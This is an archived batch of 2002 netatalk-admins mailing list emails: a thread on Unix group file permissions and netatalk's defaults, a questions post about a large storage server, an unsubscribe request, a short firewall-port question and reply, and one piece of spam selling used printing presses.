Received: from deepeddy.vircio.com ([10.1.2.1]) (envelope-sender <cwg-dated-2218dd98f72c878c@deepeddy.com>)
          by austin-jump.vircio.com (qmail-ldap-1.03) with SMTP
          for <netatalk-admins@umich.edu>; 11 Feb 2002 16:49:42 -0000
Received: (qmail 22946 invoked by alias); 11 Feb 2002 16:49:42 -0000
From: "Chris Garrigues" <cwg-dated-2218dd98f72c878c@deepeddy.com>
Received: (qmail 22901 invoked from network); 11 Feb 2002 16:49:40 -0000
Received: from deepeddy.vircio.com (HELO deepeddy.com) ([10.1.2.1]) (envelope-sender <cwg@deepeddy.com>) by deepeddy.vircio.com (qmail-ldap-1.03) with SMTP for <Damien.Mattei@unice.fr@fixme>; 11 Feb 2002 16:49:40 -0000
X-Mailer: exmh version 2.5 01/15/2001 with nmh-1.0.4
To: Damien MATTEI <Damien.Mattei@unice.fr>
Cc: Thomas Kaiser <Thomas.Kaiser@phg-online.de>, netatalk-admins@umich.edu
Subject: Re: Users unable to delete files 
In-Reply-To: <3C67EEA1.F8DA5385@unice.fr> 
References: <B88DA493.1B8CE%Thomas.Kaiser@phg-online.de> <3C67EEA1.F8DA5385@unice.fr>
X-Url: http://www.DeepEddy.Com/~cwg
X-Image-Url: http://www.DeepEddy.Com/~cwg/chris.gif
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="==_Exmh_-1031150016P"; micalg=pgp-sha1; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7bit
Date: Mon, 11 Feb 2002 10:49:40 -0600
Message-ID: <22898.1013446180@deepeddy.com>
Mail-Reply-To: cwg-dated-2218dd98f72c878c@DeepEddy.Com

--==_Exmh_-1031150016P
Content-Type: text/plain; charset=us-ascii

> From:  Damien MATTEI <Damien.Mattei@unice.fr>
> Date:  Mon, 11 Feb 2002 17:17:37 +0100
>
> me too i have been confused:
> [dmattei@irisiag blast]$ ls -la index.html
> -rw----r--    1 nobody   nobody      1282 jan  10 18:17 index.html
> [dmattei@irisiag blast]$ grep nobody /etc/group
> nobody:*:60001:dmattei
> [dmattei@irisiag blast]$ more index.html
> index.html: Permission denied
> [dmattei@irisiag blast]$ uname -a
> IRIX irisiag 6.5 05190003 IP22
> 
> this show that if you're in the group that have no right you can access
                                                                  ^not
> even if others can on IRIX and i think it's the same thing on linux
> where my netatalk run.

I assume you meant "can not access", not "can access" since that's what you 
demonstrated, and this is correct.  If it doesn't behave like this, then it isn't 
Unix.

> But why netatalk set the permission by default to --S on the group ?
> is it safe to change this setting?

That's an excellent question.

Chris

-- 
Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
virCIO                          http://www.virCIO.Com
716 Congress, Suite 200
Austin, TX  78701		+1 512 374 0500

  My email address is an experiment in SPAM elimination.  For an
  explanation of what we're doing, see http://www.DeepEddy.Com/tms.html 

    The Greatest tragedy in mankind's entire history may be the
      hijacking of morality by religion.  However valuable -- even
      necessary -- that may have been in enforcing good behavior on
      primitive peoples, their association is now counterproductive.
      Yet at the very moment when they should be decoupled,
      sanctimonious nitwits are calling for a return to morals based
      on superstition.
				--- Arthur C. Clarke



--==_Exmh_-1031150016P
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Exmh version 2.2_20000822 06/23/2000

iD8DBQE8Z/YkK9b4h5R0IUIRAnjoAJ4gkO/moV+qFOsiaKRb4YvRvBAEBwCfYngs
N5JD08P2NEYwqaDy6fmn+6A=
=bTYI
-----END PGP SIGNATURE-----

--==_Exmh_-1031150016P--

From netatalk.administrators-errors@umich.edu  Mon Feb 11 12:16:48 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA23760
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 12:16:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA03011
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 12:16:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA03001
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 12:16:47 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA02961
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 12:16:46 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id SAA265865
          ; Mon, 11 Feb 2002 18:15:44 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C67FC59.4D37F7B1@unice.fr>
Date: Mon, 11 Feb 2002 18:16:09 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Chris Garrigues <cwg-dated-2218dd98f72c878c@deepeddy.com>
CC: Damien MATTEI <Damien.Mattei@unice.fr>,
        Thomas Kaiser <Thomas.Kaiser@phg-online.de>, netatalk-admins@umich.edu
Subject: Re: Users unable to delete files
References: <B88DA493.1B8CE%Thomas.Kaiser@phg-online.de> <3C67EEA1.F8DA5385@unice.fr> <22898.1013446180@deepeddy.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Chris Garrigues wrote:
> 
> > From:  Damien MATTEI <Damien.Mattei@unice.fr>
> > Date:  Mon, 11 Feb 2002 17:17:37 +0100
> >
> > me too i have been confused:
> > [dmattei@irisiag blast]$ ls -la index.html
> > -rw----r--    1 nobody   nobody      1282 jan  10 18:17 index.html
> > [dmattei@irisiag blast]$ grep nobody /etc/group
> > nobody:*:60001:dmattei
> > [dmattei@irisiag blast]$ more index.html
> > index.html: Permission denied
> > [dmattei@irisiag blast]$ uname -a
> > IRIX irisiag 6.5 05190003 IP22
> >
> > this show that if you're in the group that have no right you can access
>                                                                   ^not
> > even if others can on IRIX and i think it's the same thing on linux
> > where my netatalk run.
> 
> I assume you meant "can not access", not "can access" since that's what you
> demonstrated, and this is correct.  If it doesn't behave like this, then it isn't
> Unix.
> 
> > But why netatalk set the permission by default to --S on the group ?
> > is it safe to change this setting?
> 
> That's an excellent question.
> 
> Chris
> 
> --
> Chris Garrigues                 http://www.DeepEddy.Com/~cwg/
> virCIO                          http://www.virCIO.Com
> 716 Congress, Suite 200
> Austin, TX  78701               +1 512 374 0500
> 
>   My email address is an experiment in SPAM elimination.  For an
>   explanation of what we're doing, see http://www.DeepEddy.Com/tms.html
> 
>     The Greatest tragedy in mankind's entire history may be the
>       hijacking of morality by religion.  However valuable -- even
>       necessary -- that may have been in enforcing good behavior on
>       primitive peoples, their association is now counterproductive.
>       Yet at the very moment when they should be decoupled,
>       sanctimonious nitwits are calling for a return to morals based
>       on superstition.
>                                 --- Arthur C. Clarke
> 
>   ------------------------------------------------------------------------
>    Part 1.2Type: application/pgp-signature

yes i was thinking "can't" access, sorry.

I don't think it's a big problem to do not have usable trash folder on
shared
directories. Users works for a month like that and they do not complain
of it...
as the trash folder works well in their home directories.

Anyway it should be fixed. 
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Mon Feb 11 13:21:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA27253
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 13:21:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA22384
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 13:21:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA22369
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 13:21:14 -0500 (EST)
Received: from imo-d08.mx.aol.com (imo-d08.mx.aol.com [205.188.157.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA22336
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 13:21:13 -0500 (EST)
From: FIRSTCLASSEQUIP@aol.com
Received: from FIRSTCLASSEQUIP@aol.com
	by imo-d08.mx.aol.com (mail_out_v32.5.) id u.14b.8ba38d3 (3866)
	 for <FIRSTCLASSEQUIP@aol.com>; Mon, 11 Feb 2002 13:19:27 -0500 (EST)
Message-ID: <14b.8ba38d3.2999652f@aol.com>
Date: Mon, 11 Feb 2002 13:19:27 EST
Subject: TO PRINTERS
To: FIRSTCLASSEQUIP@aol.com
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_14b.8ba38d3.2999652f_boundary"
X-Mailer: AOL 7.0 for Windows US sub 118


--part1_14b.8ba38d3.2999652f_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

TO: PRINTERS




SAKURA, UV COATER 28 X 40 " MODEL SE102A, WITH FLOOD ON SPOT COAT, CRUSH 
ROLLER, UV SPE DRYER, IR BUMP, AC COOLING, AMBIANT COOLING, EXCELLENT 
CONDITION $87,000
MILLER TB-38B, 5 COLOR, 28 X 41", RUNNING 4 COLOR, TOP QUAILTY PRESS SHEETS 
AVAIL, #G18656-5160221, $79,500 O.B.O.
MILLER TP-104, 6 COLOR, 1992, 2 PREFECTORS, C3 CONSOLE, $425,000 THIS 
PRESS IS IN PREFECT CONDITION MUST SEE JPEGS.
MIEHLE 49 TC, OFFSET PRESS, SER412, SR NO#214763808, STILL RUNS GREAT, 
$18,000
HEIDELBERG SBD DIECUTTERS, 1994, 25 X 35", UNDER POWER, $49,000
HEIDELBERG GTO, 1 COLOR (2) $19,000 / $21,000
HEIDELBERG GTO, 2 COLOR, 14 X 20" $38,950
HEIDELBERG GTO-52, 4 COLOR, ALCOLOR, RUNNING, $105,000 NICE PRESS
HEIDELBERG GTO-52,5 COLOR, $145,000
HEIDELBERG GTO-52, 6 COLOR ALCOLOR, LOW IMP, 1996,SM52, PREFECTOR, $429,000 
PRESS IS LIKE NEW.
HEIDELBERG GTO-52F, PLUS,ALCOLOR,$139,000
HEIDELBERG MOFPH, 5 COLOR, WITH COATER,ALCOLOR, 1983, 73MIL IMP,CPC 1.03, 
UNDER POWER, CALIF, RUNNING AD AGENCY QUAILTY WORK, $269,950 
HEIDELBERG MOF,5 COLOR, CPC 1.03, MEMORY CARD, RUNNING 4C+AQ ON UNIT 5, MUST 
SEE PRESS, $190,000 OB.O.
.
HEIDELBERG MOH+L,5 COLOR WITH COATER, ALCOLOR, 1988, CPC 1.03, 19 MIL.IMP, 
EXCELLENT PRESS ON SKIDS, READY TO SHIP, THIS IS A REAL DIAMOND GEM!!, LIKE 
NEW $325,000
HEIDELBERG MO, 6 COLOR, WITH HIGH-PILE, 1987, ALCOLOR,63 MIL IMP,$245,000 
O.B.O
HEIDELBERG KORD'S, 18 X 25", PFFSETS, AS LOW AS $13,000
HEIDELBERG KORD, 1964, BLACK, 62 CM, $8,5000 
HEIDELBERG WINDMILL, 13 X 18", WITH FOIL, $14,500, MACHINE IS LIKE NEW.
HEIDELBERG SORS, 1 COLOR, 40", 1975, $16,900
HEIDELBERG SORD, 1 COLOR, $16,500
ROLAND, 5 COLOR, MODEL 806, 1985, WITH COATER, 38 X 50", LOADED VERY CLEAN 
PRESS, $225,000
AKIYAMA, 6 COLOR, WITH COATER, 40" $295,000
AKIYAMA, 1987, H-A, 628 $195,000
AKIYAMA,1982, H-A, 628, $145,000
AKIYAMA, 1980, H-A, 426, $70,000 O.B.O.
AKIYAMA, 1985, H-A, 440, $65,000 O.B.O.
AKIYAMA, 1989, BT-640, $98,000
AKIYAMA,1995, BT 628+L, $295,000
FUJI,65ll-P, 18.5 X 25.5", EXCELLENT PRINTING PRESS, $17,500 UNDER POWER
HAMADA,E-47,13 X 18, 1997, CRESTLINES, VERY CLEAN PRESS $16,000
BETTER HURRY
HARRIS,- OFFSET PRESSES, I GOT EM 1 X 25, 1 COLOR TO 6 COLOR 60"
PLANETA SUPER VARIANT, 1991, 6 UNIT, 40" SHEETFED, PRESS HAS ALL EXCESSORIES, 
$298,500

WHAT DO YOU NEED?
IF YOU ARE LOOKING FOR A CERTAIN ITEM, PLEASE LET US KNOW,  PLEASE EMAIL US 
BACK WITH THE FOLLOWING,
A FULL DESCRIPTION OF THE EQUIPMENT YOU HAVE FOR SELL OR WANT TO BUY:

BEST REGARDS,

DANE GODWIN

TINA VERMUELE- EQUIPMENT LOCATOR

FIRST CLASS  PRINTING EQUIPMENT
12407 EAST SLAUSON AVE UNIT #O
WHITTIER, CA 90606
1-562-698-0787
FAX # 1-562-698-3480
EMAIL: firstclassequip@aol.com

IF YOU HAVE RECEIVE THIS EMAIL IN ERROR PLEASE RESPOND BY CLICKING THE REPLY 
"REMOVE" IN SUBJECT LINE.
WE DO NOT INTENTIONALLY SEND OUR LISTS OF MACHINERY TO ANY UNWILLING 
RECIPIENTS. WE STRONGLY OPPOSE THE USE OF SPAM EMAILS AND DO NOT WANT ANYONE 
WHO DOES NOT WISH TO RECEIVE OUR MAILINGS TO RECEIVE THEM. AS A RESULT, WE 
HAVE RETAINED THE SERVICES OF AN INDEPENDENT 3RD PARTY TO ADMINISTER OUR LIST 
MANAGEMENT AND REMOVE LIST.


--part1_14b.8ba38d3.2999652f_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

<HTML><FONT FACE=arial,helvetica><FONT  SIZE=4 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0">TO: PRINTERS</FONT><FONT  COLOR="#000000" style="BACKGROUND-COLOR: #ffffff" SIZE=2 FAMILY="SANSSERIF" FACE="Tahoma" LANG="0"><BR>
<BR>
<BR>
<BR>
<BR>
<B>SAKURA, </B>UV COATER 28 X 40 " MODEL SE102A, WITH FLOOD ON SPOT COAT, CRUSH ROLLER, UV SPE DRYER, IR BUMP, AC COOLING, AMBIANT COOLING, EXCELLENT CONDITION $87,000<BR>
<B>MILLER TB-38B, </B>5 COLOR, 28 X 41", RUNNING 4 COLOR, TOP QUAILTY PRESS SHEETS AVAIL, #G18656-5160221, $79,500 O.B.O.<BR>
<B>MILLER TP-104,</B> 6 COLOR, 1992, 2 PREFECTORS, C3 CONSOLE, $425,000 THIS <BR>
PRESS IS IN PREFECT CONDITION MUST SEE JPEGS.<BR>
<B>MIEHLE 49 TC,</B> OFFSET PRESS, SER412, SR NO#214763808, STILL RUNS GREAT, $18,000<BR>
<B>HEIDELBERG SBD DIECUTTERS,</B> 1994, 25 X 35", UNDER POWER, $49,000<BR>
<B>HEIDELBERG GTO, </B>1 COLOR (2) $19,000 / $21,000<BR>
<B>HEIDELBERG GTO,</B> 2 COLOR, 14 X 20" $38,950<BR>
<B>HEIDELBERG GTO-52,</B> 4 COLOR, ALCOLOR, RUNNING, $105,000 NICE PRESS<BR>
<B>HEIDELBERG GTO-52,</B>5 COLOR, $145,000<BR>
<B>HEIDELBERG GTO-52,</B> 6 COLOR ALCOLOR, LOW IMP, 1996,SM52, PREFECTOR, $429,000 PRESS IS LIKE NEW.<BR>
<B>HEIDELBERG GTO-52F,</B> PLUS,ALCOLOR,$139,000<BR>
<B>HEIDELBERG MOFPH, </B>5 COLOR, WITH COATER,ALCOLOR, 1983, 73MIL IMP,CPC 1.03, UNDER POWER, CALIF, RUNNING AD AGENCY QUAILTY WORK, $269,950 <BR>
<B>HEIDELBERG MOF,</B>5 COLOR, CPC 1.03, MEMORY CARD, RUNNING 4C+AQ ON UNIT 5, MUST SEE PRESS, $190,000 OB.O.<BR>
.<BR>
<B>HEIDELBERG MOH+L,</B>5 COLOR WITH COATER, ALCOLOR, 1988, CPC 1.03, 19 MIL.IMP, EXCELLENT PRESS ON SKIDS, READY TO SHIP, THIS IS A REAL DIAMOND GEM!!, LIKE NEW $325,000<BR>
<B>HEIDELBERG MO,</B> 6 COLOR, WITH HIGH-PILE, 1987, ALCOLOR,63 MIL IMP,$245,000 O.B.O<BR>
<B>HEIDELBERG KORD'S,</B> 18 X 25", PFFSETS, AS LOW AS $13,000<BR>
<B>HEIDELBERG KORD,</B> 1964, BLACK, 62 CM, $8,5000 <BR>
<B>HEIDELBERG WINDMILL,</B> 13 X 18", WITH FOIL, $14,500, MACHINE IS LIKE NEW.<BR>
<B>HEIDELBERG SORS,</B> 1 COLOR, 40", 1975, $16,900<BR>
<B>HEIDELBERG SORD,</B> 1 COLOR, $16,500<BR>
<B>ROLAND,</B> 5 COLOR, MODEL 806, 1985, WITH COATER, 38 X 50", LOADED VERY CLEAN PRESS, $225,000<BR>
<B>AKIYAMA,</B> 6 COLOR, WITH COATER, 40" $295,000<BR>
<B>AKIYAMA,</B> 1987, H-A, 628 $195,000<BR>
<B>AKIYAMA,</B>1982, H-A, 628, $145,000<BR>
<B>AKIYAMA,</B> 1980, H-A, 426, $70,000 O.B.O.<BR>
<B>AKIYAMA,</B> 1985, H-A, 440, $65,000 O.B.O.<BR>
<B>AKIYAMA,</B> 1989, BT-640, $98,000<BR>
<B>AKIYAMA,</B>1995, BT 628+L, $295,000<BR>
<B>FUJI,65ll-P, </B>18.5 X 25.5", EXCELLENT PRINTING PRESS, $17,500 UNDER POWER<BR>
<B>HAMADA,E-47,</B>13 X 18, 1997, CRESTLINES, VERY CLEAN PRESS $16,000<BR>
BETTER HURRY<BR>
<B>HARRIS,-</B> OFFSET PRESSES, I GOT EM 1 X 25, 1 COLOR TO 6 COLOR 60"<BR>
<B>PLANETA SUPER VARIANT, </B>1991, 6 UNIT, 40" SHEETFED, PRESS HAS ALL EXCESSORIES, $298,500<BR>
<BR>
<B>WHAT DO YOU NEED?</B><BR>
IF YOU ARE LOOKING FOR A CERTAIN ITEM, PLEASE LET US KNOW,&nbsp; PLEASE EMAIL US BACK WITH THE FOLLOWING,<BR>
A FULL <B>DESCRIPTION</B> OF THE EQUIPMENT YOU HAVE FOR <B>SELL</B> OR <B>WANT TO BUY:<BR>
</B><BR>
<B>BEST REGARDS,<BR>
<BR>
DANE GODWIN<BR>
<BR>
TINA VERMUELE- EQUIPMENT LOCATOR</B><BR>
<BR>
<B><I>FIRST CLASS&nbsp;</I> PRINTING EQUIPMENT</B><BR>
<B>12407 EAST SLAUSON AVE UNIT #O<BR>
WHITTIER, CA 90606<BR>
1-562-698-0787<BR>
FAX # 1-562-698-3480<BR>
EMAIL: firstclassequip@aol.com</B><BR>
<BR>
<B>IF YOU HAVE RECEIVE THIS EMAIL IN ERROR PLEASE RESPOND BY CLICKING THE REPLY "REMOVE" IN SUBJECT LINE.<BR>
WE DO NOT INTENTIONALLY SEND OUR LISTS OF MACHINERY TO ANY UNWILLING RECIPIENTS. WE STRONGLY OPPOSE THE USE OF SPAM EMAILS AND DO NOT WANT ANYONE WHO DOES NOT WISH TO RECEIVE OUR MAILINGS TO RECEIVE THEM. AS A RESULT, WE HAVE RETAINED THE SERVICES OF AN INDEPENDENT 3RD PARTY TO ADMINISTER OUR LIST MANAGEMENT AND REMOVE LIST.<BR>
</B><BR>
</FONT></HTML>
--part1_14b.8ba38d3.2999652f_boundary--

From netatalk.administrators-errors@umich.edu  Mon Feb 11 14:28:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA01214
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 14:28:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA08656
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 14:28:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA08645
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 14:28:34 -0500 (EST)
Received: from abarrach.franken.de (abarrach.franken.de [195.37.132.42])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA08568
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 14:28:30 -0500 (EST)
Received: (from atalk@localhost)
	by abarrach.franken.de (8.11.6/8.10.0) id g1CJYeN30852;
	Tue, 12 Feb 2002 11:34:40 -0800
Date: Tue, 12 Feb 2002 11:34:40 -0800
From: Netatalk <atalk@abarrach.franken.de>
To: netatalk-devel@lists.sourceforge.net, LINUX-ATALK@NETSPACE.ORG,
        netatalk-admins@umich.edu
Subject: Production use system ...
Message-ID: <20020212193440.GA30739@abarrach.franken.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.25i

Hi folks, 

I'm having a bit of a problem right now:

A customer is in need of a storage server (500Gig+) with fairly high
volume of changes (20Gig+ a day), serving about 40 clients. Of the people
around here that have a similar configuration running for some time
I'd like to ask a few questions:

- Which hardware are you using?

The customer uses some kind of softraid under macos 9 right now,
featuring a adaptec 39160 controller and 8 70-gig hitachi 160 scsi drives
on two cables. But this system started misbehaving about 2 months ago,
resulting in damage to data and directory structure.
As a result the complete server had to be reinstalled two times already.
Which cpu/motherboard/controller-combination are you using? 

- Which filesystem?

Which filesystems are you using?
Due to the high amount of changed data per day, filesystem fragmentation
will become an issue sooner or later. How is your servers filesystem
handling that? Are file sizes of 2Gig or more common on your setup?

- Which server software and version?

Altough I'd like to install netatalk for this customer, if another
software is more stable I'd use that, too.

- Application software

Do you have Quark, Photoshop and the like running? Do they behave correctly?
(The customer is already used to copying files to the client Mac
before working on it and storing it back afterwards). Do you have
problems with Quark documents loosing their images or the like?

To reduce off-topic traffik, please mail your comments to
atalk@abarrach.franken.de, I will collect them and post them to the list.

Big Thanks,

Roland Schulz
atalk@abarrach.franken.de


PS: Sorry for the crossposting.

From netatalk.administrators-errors@umich.edu  Mon Feb 11 21:36:55 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA27348
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 11 Feb 2002 21:36:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA12814
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 11 Feb 2002 21:36:55 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA12713
	for netatalk.administrators-members@umich.edu; Mon, 11 Feb 2002 21:36:49 -0500 (EST)
Received: from toccata.netconnect.net (toccata.netconnect.net [152.156.2.7])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA12675
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 21:36:47 -0500 (EST)
Received: from netconnect.net (hosta.netconnect.net [152.156.2.1])
	by toccata.netconnect.net (8.11.0/8.11.0) with ESMTP id g1C2YIQ06954
	for <netatalk-admins@umich.edu>; Mon, 11 Feb 2002 18:34:19 -0800 (PST)
Message-ID: <3C68806B.9CA49A46@netconnect.net>
Date: Mon, 11 Feb 2002 18:35:42 -0800
From: Greg <greg@netconnect.net>
Reply-To: greg@netconnect.net
Organization: Netconnect Services Group
X-Mailer: Mozilla 4.73 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Unsubscribe
References: <20020212193440.GA30739@abarrach.franken.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


I've sent mail everywhere I can think of, including majordomo@umich.edu to unsubscribe
from this list (netatalk-admins).  Nothing has worked, and I am tired of
getting this mail.
So, I am turning to the list itself.  Who here can unsubscribe me?

Thanks,	
	Greg

From netatalk.administrators-errors@umich.edu  Tue Feb 12 03:58:44 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA21209
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 03:58:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA25718
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 03:58:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA25714
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 03:58:44 -0500 (EST)
Received: from mail.shanghai.fr ([194.133.125.136])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA25690
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 03:58:42 -0500 (EST)
Received: from sebastien (localhost.localdomain [127.0.0.1])
	by mail.shanghai.fr (Postfix) with SMTP id 41A2FC6F8
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 10:01:58 +0100 (CET)
From: =?iso-8859-1?Q?S=E9bastien_CRAMATTE?= <s.cramatte@shanghai.fr>
To: <netatalk-admins@umich.edu>
Subject: Netatlak and TCP/IP ports
Date: Tue, 12 Feb 2002 10:01:47 +0100
Message-ID: <GPEDKJKOCJLPPDDAPACOIEJCCGAA.s.cramatte@shanghai.fr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

I need to access to my netatalk linux box.
My seever is behind a firewall.
Could you tell me what are TCP/IP ports necessary to open on this firewall

Cordialement

Sébastien CRAMATTE
responsable technique


S H A N G H A I
---------------
Agence de communication globale

28, rue de Solférino
92100 Boulogne Billancourt - FRANCE

tél : +33 1 4610 4670
fax : +33 1 4610 4671

e-mail : info@shanghai.fr
site : http://www.shanghai.fr


From netatalk.administrators-errors@umich.edu  Tue Feb 12 05:02:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA06518
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 12 Feb 2002 05:02:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA17677
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 12 Feb 2002 05:02:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA17675
	for netatalk.administrators-members@umich.edu; Tue, 12 Feb 2002 05:02:32 -0500 (EST)
Received: from jeeves.local (ip68-4-79-169.oc.oc.cox.net [68.4.79.169])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA17665
	for <netatalk-admins@umich.edu>; Tue, 12 Feb 2002 05:02:31 -0500 (EST)
Received: from [192.168.0.174] (t24.local [192.168.0.174])
	by jeeves.local (8.11.6/8.11.6) with ESMTP id g1CA25i15691;
	Tue, 12 Feb 2002 02:02:06 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 12 Feb 2002 02:02:12 -0800
Subject: Re: Netatlak and TCP/IP ports
From: Steve Freitas <sflist@ihonk.com>
To: S=?ISO-8859-1?B?6Q==?=bastien CRAMATTE <s.cramatte@shanghai.fr>,
        <netatalk-admins@umich.edu>
Message-ID: <B88E2824.B1E2%sflist@ihonk.com>
In-Reply-To: <GPEDKJKOCJLPPDDAPACOIEJCCGAA.s.cramatte@shanghai.fr>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id FAA06518

Port 548.

> From: Sébastien CRAMATTE <s.cramatte@shanghai.fr>
> Date: Tue, 12 Feb 2002 10:01:47 +0100
> To: <netatalk-admins@umich.edu>
> Subject: Netatlak and TCP/IP ports
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 12 Feb 2002 04:00:29 -0500 (EST)
> 
> I need to access to my netatalk linux box.
> My seever is behind a firewall.
> Could you tell me what are TCP/IP ports necessary to open on this firewall
> 
> Cordialement
> 
> Sébastien CRAMATTE
> responsable technique
> 
> 
> S H A N G H A I
> ---------------
> Agence de communication globale
> 
> 28, rue de Solférino
> 92100 Boulogne Billancourt - FRANCE
> 
> tél : +33 1 4610 4670
> fax : +33 1 4610 4671
> 
> e-mail : info@shanghai.fr
